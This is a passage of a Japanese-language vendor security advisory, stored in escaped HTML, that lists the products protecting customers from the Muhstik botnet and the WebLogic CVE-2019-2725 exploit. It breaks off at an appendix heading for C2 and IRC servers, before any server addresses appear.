7\u30a2\u3067\u306f\u63d0\u4f9b\u3055\u308c\u306b\u304f\u3044\u3053\u3068\u304c\u591a\u3005\u3042\u308b\u305f\u3081\u3067\u3059\u3002\u30a8\u30f3\u30c9\u30e6\u30fc\u30b6\u30fc\u306f\u3001\u30aa\u30fc\u30d7\u30f3\u30bd\u30fc\u30b9\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u3092\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3059\u308b\u969b\u306b\u306f\u6ce8\u610f\u304c\u5fc5\u8981\u3067\u3059\u3057\u3001\u305d\u306e\u969b\u306f\u30d5\u30a1\u30fc\u30e0\u30a6\u30a7\u30a2\u30de\u30cb\u30e5\u30a2\u30eb\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ac\u30a4\u30c9\u30e9\u30a4\u30f3\u306b\u5f93\u3046\u5fc5\u8981\u304c\u3042\u308a\u307e\u3059\u3002<\/p>\n
Palo Alto Networks\u306e\u304a\u5ba2\u69d8\u306f\u3001\u4ee5\u4e0b\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30d7\u30e9\u30c3\u30c8\u30d5\u30a9\u30fc\u30e0\u306b\u3088\u3063\u3066Muhstik\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u304b\u3089\u4fdd\u8b77\u3055\u308c\u3066\u3044\u307e\u3059\u3002<\/p>\n
    \n
  1. Zingbox IoT Guardian\u3067\u306fC2\u304a\u3088\u3073Muhstik\u30dc\u30c3\u30c8\u30cd\u30c3\u30c8\u3067\u4f7f\u7528\u3055\u308c\u308b\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u306e\u691c\u51fa\u3092\u8ffd\u52a0\u3057\u307e\u3059\u3002<\/li>\n
  2. Threat Prevention\u306e\u30b7\u30b0\u30cd\u30c1\u30e355570\u306fWeblogic\uff08CVE-2019-2725\uff09\u306e\u30a8\u30af\u30b9\u30d7\u30ed\u30a4\u30c8\u3092\u8b58\u5225\u3057\u307e\u3059\u3002<\/li>\n
  3. PAN-DB\u3068DNS Security\u306f\u3001\u653b\u6483\u8005\u306eC2\u30b5\u30fc\u30d0\u30fc\u306eURL\u3068\u30c9\u30e1\u30a4\u30f3\u3092\u906e\u65ad\u3057\u307e\u3059\u3002<\/li>\n
  4. WildFire\u3068Antivirus\u306f\u3001Muhstik\u30de\u30eb\u30a6\u30a7\u30a2\u3092\u8b58\u5225\u3057\u3066\u906e\u65ad\u3057\u307e\u3059\u3002<\/li>\n<\/ol>\n
    <\/a>\u4ed8\u9332<\/h1>\n
    <\/a>C2 \u30b5\u30fc\u30d0\u30fc<\/h3>\n
    <\/a>IRC \u30b5\u30fc\u30d0\u30fc:<\/h4>\n